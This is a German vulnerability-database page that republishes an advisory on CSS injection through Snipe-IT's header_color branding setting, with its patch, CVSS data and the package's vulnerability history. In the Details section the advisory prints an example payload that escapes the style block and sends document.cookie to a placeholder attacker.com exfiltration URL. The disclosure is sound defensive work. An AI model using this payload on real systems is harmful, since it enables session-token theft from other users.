Mittel

Snipe-IT has CSS Injection via `header_color` Setting

  • Veröffentlicht: 28.08.2026
  • Aktualisiert: 11.10.2026 10:22

Impact

Because default.blade.php is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.

Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.

Details

The header_color setting (and related color settings such as nav_color and link_color) is rendered inside a CSS <style> block using Laravel's {{ }} syntax:

--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};

Although {{ }} applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the Settings > Branding page can inject arbitrary CSS by setting the header_color value to something like:

    #fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x {

This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.

Patches

Patched in https://github.com/grokability/snipe-it/pull/19097

Workarounds

Enable CSP in your .env file.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket snipe/snipe-it < 8.6.2 8.6.2

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Schwäche (CWE)
CWE-79
Plattform
Composer
Paket
snipe/snipe-it
Veröffentlicht
28.08.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-w7qw-5wfv-gwx9 - CC BY 4.0

Schwachstellenhistorie: snipe/snipe-it

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (81) im Archiv
Einträge insgesamt
81
Erste → letzte
10.2021 09.2026
Ohne Fix
6
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 23
  • Mittel 53
  • Niedrig 4

Veröffentlichungen pro Jahr

  1. 2021: 10
  2. 2022: 20
  3. 2023: 2
  4. 2024: 3
  5. 2025: 6
  6. 2026: 40
Schweregrad:
  1. Hoch CVE-2026-63493 < 8.7.0 8.7.0
  2. Hoch · 6.5 CVE-2026-55843 < 8.6.0 8.6.0
  3. Snipe-IT has CSS Injection via `header_color` Setting dieser Eintrag
    Mittel CVE-2026-55481 < 8.6.2 8.6.2
  4. Hoch · 7.1 CVE-2026-55460 < 8.6.2 8.6.2
  5. Hoch CVE-2026-55643 < 8.6.3 8.6.3
  6. Hoch · 8.5 CVE-2026-54329 < 8.6.2 8.6.2
  7. Kritisch · 9.8 CVE-2026-37709 < 8.4.1 8.4.1
  8. Hoch · 8.8 CVE-2026-44832 < 8.4.1 8.4.1
  9. Hoch · 8.7 CVE-2024-51093 <= 7.0.13 keine Korrektur
  10. Hoch · 7.2 CVE-2024-48987 < 7.0.10 7.0.10
  11. Hoch · 8.8 CVE-2023-5511 < 6.2.3 6.2.3
  12. Hoch · 8.8 CVE-2022-23064 >= 3.0-alpha, < 5.3.8 5.3.8
  13. Hoch · 7.4 CVE-2022-1155 >= 6.0.0-RC-1, < 6.0.0-RC-6, < 5.4.2 6.0.0-RC-6, 5.4.2
  14. Hoch · 8.8 CVE-2022-0611 < 5.3.11 5.3.11
  15. Hoch · 8.8 CVE-2021-4130 < 5.3.6 5.3.6
  16. Hoch · 7.2 CVE-2021-4075 < 6.0.0-GM 6.0.0-GM
  17. Hoch · 8.0 CVE-2021-3961 < 5.3.2 5.3.2

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.